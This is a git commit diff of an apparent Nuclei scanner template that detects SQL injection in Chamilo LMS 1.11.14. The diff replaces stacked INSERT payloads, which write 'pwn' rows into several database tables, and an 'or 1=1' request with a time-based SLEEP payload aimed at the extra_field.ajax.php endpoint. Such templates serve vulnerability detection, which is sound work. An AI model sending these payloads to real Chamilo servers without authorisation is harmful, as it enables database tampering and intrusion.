Reverted back to old technique

The ;INSERT method only seemed to work on my dev enviroment.
patch-1
Jurjen de Jonge 2021-04-24 22:15:57 +03:00
parent 5f264c9891
commit b9ad93a3cd
1 changed files with 8 additions and 27 deletions

View File

@ -1,39 +1,20 @@
id: chamilo-lms-sqli
info:
author: undefl0w
author: Undefl0w
name: Chamilo LMS SQL Injection
severity: high
description: Finds sql injection in Chamilo version 1.11.14
description: SQL injection in Chamilo version 1.11.14
tags: 'chamilo,sqli'
requests:
- raw:
- >
POST /main/inc/ajax/extra_field.ajax.php?a=search_options_from_tags
HTTP/1.1
- |
POST /main/inc/ajax/extra_field.ajax.php?a=search_options_from_tags HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
type=image&field_id=image&tag=image&from=image&search=image&options=["test'); SELECT SLEEP(3.5); -- "]
"type=image&field_id=image&tag=image&from=image&search=image&options=["test');
INSERT INTO extra_field_rel_tag(field_id, tag_id, item_id) VALUES (16,
16, 16); INSERT INTO extra_field_values(field_id, item_id,value) VALUES
(16, 16,'pwn'); INSERT INTO extra_field_options(option_value) VALUES
('pwn'); INSERT INTO tag(id,tag,field_id ) VALUES (16,'pwn',16); --
"]"
- >
POST /main/inc/ajax/extra_field.ajax.php?a=search_options_from_tags
HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
type=image&field_id=image&tag=image&from=image&search=image&options=["notthetag')
or 1=1 -- "]
matchers:
- type: word
words:
- pwn
- type: dsl
dsl:
- duration>=2